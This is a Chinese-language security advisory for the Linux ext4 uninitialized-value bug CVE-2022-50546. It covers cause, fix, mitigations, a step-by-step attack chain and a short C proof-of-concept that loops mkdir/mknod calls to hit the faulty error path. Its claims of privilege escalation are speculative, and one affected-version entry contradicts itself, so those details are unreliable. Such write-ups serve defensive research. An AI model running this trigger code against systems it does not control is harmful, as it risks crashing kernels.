IPBUF安全漏洞报告
English
CVE-2022-50546 CVSS 7.8 高危

CVE-2022-50546 Linux内核ext4文件系统未初始化值漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50546
漏洞类型
未初始化内存使用漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (ext4文件系统)

相关标签

Linux内核ext4文件系统未初始化值本地提权内核漏洞KMSANCWE-908Use of Uninitialized Variable

漏洞概述

CVE-2022-50546是Linux内核ext4文件系统中存在的一个未初始化值使用漏洞(Use of Uninitialized Value)。该漏洞由Syzbot模糊测试工具发现,位于fs/ext4/inode.c文件的ext4_evict_inode函数中。问题的根本原因在于ext4_alloc_inode()函数在分配inode结构时未对ei->i_flags成员变量进行初始化。当通过__ext4_new_inode()创建新inode的过程中,如果在任何位置发生错误导致操作失败,系统会调用iput()释放inode资源。在内核提交6bc0d63dad7f之后,ext4_evict_inode()函数会访问ei->i_flags字段,但由于该字段未被初始化,导致访问未初始化的内存,可能引发内核崩溃、信息泄露或权限提升等安全问题。该漏洞的CVSS 3.1评分为7.8分,属于高危级别,攻击者需要本地低权限访问即可触发,无需用户交互,可能对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的技术原理涉及Linux内核ext4文件系统的inode管理机制。具体而言,当内核通过ext4_alloc_inode()分配一个新的inode结构体时,会调用kmem_cache_alloc_lru从slab分配器中获取内存,但kmem_cache_alloc_lru返回的内存并未清零,因此ei->i_flags字段包含未定义的垃圾值。在正常路径中,__ext4_new_inode()函数会在后续流程中正确设置ei->i_flags。然而,如果在设置ei->i_flags之前发生错误(例如内存分配失败、文件系统元数据错误等),错误处理路径会调用iput()最终触发ext4_evict_inode()函数。自内核提交6bc0d63dad7f起,ext4_evict_inode()中增加了对ei->i_flags的访问逻辑,这导致读取未初始化的内存内容。KMSAN(Kernel Memory Sanitizer)工具检测到了这一未初始化值的使用问题。攻击链方面,本地低权限用户可以通过调用mknodat或mkdir等系统调用触发inode创建,在特定条件下使创建流程失败并进入错误处理路径,从而触发对未初始化内存的访问,可能导致内核信息泄露或被利用进行权限提升。修复方案是在ext4_alloc_inode()函数中显式初始化ei->i_flags为0。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要获得目标Linux系统的本地低权限访问权限,可以通过普通用户账户登录或利用其他漏洞获取本地shell。
STEP 2
步骤2:触发inode创建
攻击者在ext4文件系统挂载点下调用mknodat、mkdir等系统调用,触发内核创建新的inode,进入__ext4_new_inode()函数路径。
STEP 3
步骤3:制造错误条件
通过快速创建大量inode或在特定条件下(如文件系统空间不足、inode耗尽等)使__ext4_new_inode()在设置ei->i_flags之前失败。
STEP 4
步骤4:触发未初始化值访问
错误处理路径调用iput(),进而执行ext4_evict_inode(),该函数访问未初始化的ei->i_flags字段,触发KMSAN检测到的未初始化值使用问题。
STEP 5
步骤5:利用未初始化内存
攻击者可能利用泄漏的未初始化内存内容获取内核栈/堆信息,或结合其他漏洞实现权限提升,获取root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50546 PoC - Trigger uninit-value in ext4_evict_inode * * This PoC attempts to trigger the uninitialized value access in * ext4_evict_inode by creating a new inode and forcing failure * before ei->i_flags is set. * * Compile: gcc -o poc poc.c * Usage: ./poc <mount_point> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <errno.h> #include <string.h> int main(int argc, char *argv[]) { const char *path; char nodepath[256]; int ret; if (argc < 2) { path = "/tmp"; } else { path = argv[1]; } /* Step 1: Try to create a directory on ext4 filesystem to trigger inode allocation */ snprintf(nodepath, sizeof(nodepath), "%s/test_dir_cve_2022_50546", path); ret = mkdir(nodepath, 0755); if (ret == -1 && errno != EEXIST) { perror("mkdir"); } /* Step 2: Attempt to create a node (mknod) to trigger __ext4_new_inode path */ snprintf(nodepath, sizeof(nodepath), "%s/test_node_cve_2022_50546", path); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == -1) { perror("mknod"); } /* Step 3: Rapidly create and remove inodes to increase likelihood of * hitting the error path before ei->i_flags initialization */ int i; for (i = 0; i < 1000; i++) { snprintf(nodepath, sizeof(nodepath), "%s/poc_node_%d", path, i); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == 0) { unlink(nodepath); } } printf("PoC execution completed. Check kernel logs for KMSAN warnings.\n"); return 0; }

影响范围

Linux Kernel < 5.10.156
Linux Kernel 5.11.x < 5.15.79
Linux Kernel 5.16.x < 6.0.9
Linux Kernel 6.1.x < 6.1rc4

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议限制普通用户对系统的本地访问权限,监控异常的系统调用(如大量mknod/mkdir调用),并启用内核地址空间布局随机化(KASLR)等安全特性。同时,建议在ext4文件系统挂载选项中添加nosuid、nodev等限制选项,减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表